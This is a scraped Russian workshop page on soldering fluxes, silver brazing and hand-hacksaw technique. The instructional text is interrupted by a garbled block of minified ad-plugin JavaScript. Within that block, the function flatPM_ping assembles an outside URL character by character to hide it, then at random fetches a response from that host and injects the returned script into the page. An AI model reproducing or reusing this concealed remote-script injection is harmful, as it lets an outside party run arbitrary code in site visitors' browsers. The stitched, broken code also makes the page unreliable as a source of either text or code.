Паяльная жидкость. Наиболее обычным очистительным средством служит водный раствор хлористого цинка (он же: паяльная кислота, паяльная вода, паяльная жидкость, травленая кислота и т.д.). Его обычно готовят, растворяя цинк в соляной кислоте. Раствор наносится на место спая в очень незначительном количестве и затем туда же наносится паяльником расплавленное олово. Под влиянием высокой температуры вода из раствора испаряется, а остающийся хлористый цинк разлагается, выделяя свободную соляную кислоту, которая и очищает поверхность металла, так что нанесенное олово начинает ее смачивать. Хлористый цинк являeтcя наилучшим известным нам очистительным средством, так как не требует подготовки, действует быстро и верно.

Очень крупным недостатком хлористого цинка, как очистителя, является его гигроскопичность. Случайно оставшийся неразложенным хлористый цинк со временем размокает и образует гальванический элемент: спаиваемый металл – раствор хлористого цинка – олово. Так как, раствор хлористого цинка обладает, кроме того, вследствие гидролитического распада кислой реакцией, то он может со временем разъесть пай.

Однако, если принять некоторые меры предосторожности: 1) брать возможно меньшее количество раствора и 2) сильно прогревать место спая, чтобы быть уверенным в том, что весь хлористый цинк разложится,— можно считать себя почти застрахованным от подобных неприятных последствий. Самым лучшим предохранением является промывка спая горячей водой со щеткой (для спаев проволок очень удобна зубная щетка).

Другие очистители. Кроме раствора хлористого цинка, в качестве очистителей употребляются еще такие вещества как стеарин и канифоль. Под влиянием высокой температуры расплавленного олова эти вещества разлагаются, и продукты их разложения восстанавливают окиси до металла. Способ применения их следующий: на месте спайки помещают несколько крупинок очистителя, набирают на сильно нагретый паяльник олово и трут паяльником по месту спайки. При этом крупинки плавятся, распределяются по всему спаю равномерно и очищают его от окислов.

Работа с твердыми очистителями значительно труднее, чем с раствором хлористого цинка. Преимуществом же их является то, что случайно оставшийся на месте спайки очиститель не вызывает разъедания и не создает гальванического элемента. Твердые очистители находят свое применение, главным образом, в обслуживании больших кусков металла. Особенно пригодным является для этой цели – пицеин. Необходимо следить за тем, чтобы паяльник был сильно нагрет, так как, чем выше температура, тем сильнее восстанавливающее действие очистителя. Разумеется, не следует заходить слишком далеко и сжигать паяльник.

Пайка серебром и «твердыми» (тугоплавкими) припоями.

Высокая температура плавления серебра (961°С) заставляет применять для пайки им совершенно другие методы, чем для олова.

Одним из таких приемов является следующий: спаиваемые поверхности складываются вместе, посыпаются бурой (очиститель), на них кладется кусочек серебра и все вместе вносится в пламя паяльной горелки. Расплавляющаяся в пламени бура растворяет окислы на спаиваемых поверхностях, так что серебро при расплавлении может их смочить. После охлаждения сплавленная бура удаляется со спая разгибанием ее и последующей многократной промывкой спая кипящей водой. Само собой разумеется, что паять серебром можно только металлы, точка плавления которых лежит значительно ниже точки плавления серебра. Материалом для пайки может с успехом служить серебро 84-й пробы. Серебро низшей пробы уже меньше пригодны для этой цели.

Из других тугоплавких припоев наилучшим является следующий сплав: латуни – 78,3%; цинка – 17,4%; серебра – 4,3% или меди – 36%; цинка – 52%; серебра – 12%. Спаивание этими припоями производится так же, как серебром.

Как режут металл? способы, виды оборудования для резки металла

“:’

‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ p “

“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count “

“:’

‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ p “

“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};

Обработка дерева и металла

Ручная ножовка (пила) инструмент, предназначенный для разрезания толстых листов полосового, круглого и профильного металла, а также для прорезания шлицев, пахов, обрезки и вырезки заготовок по контуру и других работ. Ручная слесарная ножовка состоит из станка (рамки) и ножовочного полотна.

На одном конце рамки имеется неподвижная головка с хвостовиком и ручкой, а на другом конце — подвижная головка с натяжным винтом и гайкой (барашек) для натяжения полотна. В головках имеются прорези, в которые вставляют ножовочное полотно и крепят штифтами.

Рамки для ножовок изготовляют либо цельными (для ножовочного полотна одной определенной длины) (редко) , либо раздвижными, допускающими закрепление ножовочного полотна различной длины.

Для раздвигания ножовки колена перегибают, пока заклепка не выйдет из выреза, и смещают. Заклепку вводят в другой вырез, и колена выпрямляют.

Станок с передвижным держателем состоит из угольника с ручкой, по которому можно перемещать и закреплять в нужном положении держатель.

Ножовочное полотно представляет собой тонкую и узкую стальную пластину с двумя отверстиями и с зубьями на одном из ребер. Полотна изготовляют из стали марок: У10А, Р9, Х6ВФ, твердость их HRC 61 —64. В зависимости от назначения ножовочные полотна разделяются на ручные и машинные. Полотно вставляют в рамку зубьями вперед.

Размер (длина) ручного ножовочного полотна определяется по расстоянию между центрами отверстий под штифты. Наиболее часто применяют ножовочные полотна для ручных ножовок длиной L — 250 — 300 мм, высотой Ь — 13 и 16 мм, толщиной h — 0,65 и 0, 8 мм.

Каждый зуб ножовочного полотна имеет форму клина (резца). На зубе, как и на резце, различают задний угол ,а , угол заострения (3, передний угол у и угол резания 5. а р у = 90°; а р = 5.

Условия работы ножовочного полотна отличаются от условий работы резца, поэтому значения углов здесь иные. При резке металла большой ширины получаются пропилы значительной длины, в которых каждый зуб полотна снимает стружку, имеющую вид запятой. Эта стружка должна размещаться в стружечном пространстве до тех пор, пока острие зуба не выйдет из пропила. Величина стружечного пространства зависит от величины заднего угла а, переднего угла у и шага S зуба.

В зависимости от твердости разрезаемого металла передний угол зубьев ножовочного полотна может быть нулевым, положительным или отрицательным.

Производительность резания ножовочного полотна с нулевым передним углом ниже, чем полотна с передним углом больше 0°.

Для разрезания более твердых материалов применяют полотна, у которых угол заострения зубьев больше, для разрезания мягких материалов угол заострения меньше. Полотна с большим углом заострения более износоустойчивы.

Для резки металлов пользуются преимущественно ножовочными полотнами с шагом 1,3 —1,6 мм, при котором на длине 25 мм насчитывается 17 — 20 зубьев. Чем толще разрезаемая заготовка, тем крупнее должны быть зубья, и наоборот, чем тоньше заготовка, тем мельче должны быть зубья ножовочного полотна.

При резании ручной ножовкой в работе должно участвовать (одновременно резать металл) не менее двух-трех зубьев. Чтобы избежать заедания (защемления) ножовочного полотна в металле, зубья разводят.

Разводка зубьев ножовочного полотна делается для того, чтобы ширина разреза, сделанного ножовкой, была немного больше толщины полотна. Это предотвращает заклинивание полотна в разрезе и значительно облегчает работу.

В зависимости от величины шага S разводку делают по полотну и по зубу.

Ножовочные полотна с шагом зубьев 0,8 мм (допускается также для шага 1 мм) должны иметь разводку зубьев по полотну (волнистой), т. е. каждые два смежных зуба отгибают в противоположные стороны на 0,25 — 0,6 мм. Разводка выполняется на высоте не более удвоенной высоты зуба. Шаг разводки принимается равным 8S.

Полотно с шагом зубьев свыше 0,8 мм разводят по зубу (гофрированный развод). При этом разводе при малом шаге зубьев два-три зуба отводят вправо и два-три — влево. При среднем шаге отводят один зуб влево, второй — вправо, третий — не отводят. При крупном шаге отводят один зуб влево, а второй — вправо. Разводка по зубу применяется для полотен с шагом 1,25 и 1,6 мм.

Разводка ножовочного полотна должна заканчиваться на расстоянии не более 30 мм от торца.

Подготовка к работе ножовкой. Перед работой ножовочным станком (ножовкой) прочно закрепляют разрезаемый материал в тисках. Уровень крепления металла в тисках должен соответствовать росту работающего. Затем выбирают ножовочное полотно, сообразуясь с твердостью, формой и размерами разрезаемого металла.

При длинных пропилах берут ножовочные полотна с крупным шагом зубьев, а при коротких — с мелким шагом зубьев.

Ножовочное полотно устанавливают в прорези головки так, чтобы зубья были направлены от ручки, а не к ручке. При этом сначала вставляют конец полотна в неподвижную головку и фиксируют положение закладкой штифта, затем вставляют второй конец полотна в прорезь подвижного штыря и закрепляют его штифтом.

Туго натянутое полотно при незначительном перекосе и слабо натянутое при усиленном нажиме создают перегиб полотна и могут вызвать излом. Степень натяжения полотна проверяют легким нажимом пальца на полотно сбоку: если полотно не прогибается, натяжение достаточное.

Положение корпуса работающего. При резке металла ручной ножовкой становятся перед тисками прямо, свободно и устойчиво, вполоборота по отношению к губкам тисков или оси обрабатываемого предмета. Левую ногу несколько выставляют вперед, примерно по линии разрезаемого предмета, и на нее опирают корпус. Ступни ног ставят так, чтобы они образовали угол 60 — 70° при определенном расстоянии между пятками.

Положение рук (хватка). Поза рабочего считается правильной, если правая рука с ножовкой, установленной на губки тисков (в исходное положение), согнутая в локте, образует прямой угол (90°) между плечевой и локтевой частями руки (рис. 121, а).

Ручку (рукоятку) захватывают правой рукой так, чтобы ручка упиралась в ладонь (рис. 5, б). Ручку обхватывают четырьмя пальцами, большой палец накладывают сверху вдоль ручки. Пальцами левой руки обхватывают гайку и подвижную головку ножовки.

При резке ножовкой, как и при опиливании, должна соблюдаться строгая координация усилий (балансировка), заключающаяся в правильном увеличении нажима рук. Движение ножовки должно быть строго горизонтальным. Нажимают на станок обеими руками, но наибольшее усилие делают левой рукой, а правой рукой осуществляют главным образом возвратно-поступательное движение ножовки.

Процесс резки состоит из двух ходов: – рабочего, когда ножовка перемещается вперед от работающего, и холостого, когда ножовка перемещается назад по направлению к работающему. При холостом ходе на ножовку не нажимают, в результате чего зубья только скользят, а при рабочем ходе обеими руками создают легкий нажим так, чтобы ножовка двигалась прямолинейно.

При работе ножовкой необходимо выполнять следующие правила: короткие заготовки режут по наиболее широкой стороне. При резании проката углового, таврового и швеллерного профилей лучше изменять положение заготовки, чем резать по узкой стороне; – в работе должно участвовать все ножовочное полотно; – работают ножовкой не спеша, плавно, без рывков, делая не более 30 —60 двойных ходов в минуту (твердая сталь — 30—40, сталь средней твердости — 40 — 50, мягкая сталь – 50-60).

При более быстрых темпах скорее наступает утомляемость и, кроме того, полотно нагревается и быстрее тупится: – перед окончанием распила ослабляют нажим на ножовку, так как при сильном нажиме ножовочное полотно резко выскакивает из распила, ударяясь о тиски или деталь, в результате чего может нанести травму; – при резке не давать полотну нагреваться.

Для уменьшения трения полотна о стенки в пропиле детали периодически смазывают полотно минеральным маслом или графитовой смазкой, особенно при резке вязких металлов; – латунь и бронзу разрезают только новыми полотнами, так как даже малоизношенные зубья не режут, а скользят; – в случае поломки или выкрашивания хотя бы Одного зуба работу немедленно прекращают, удаляют из припила остатки сломанного зуба, полотно заменяют новым или стачивают на станке два-три соседних зуба и после этого продолжают работу.

Оставьте комментарий

Adblock
detector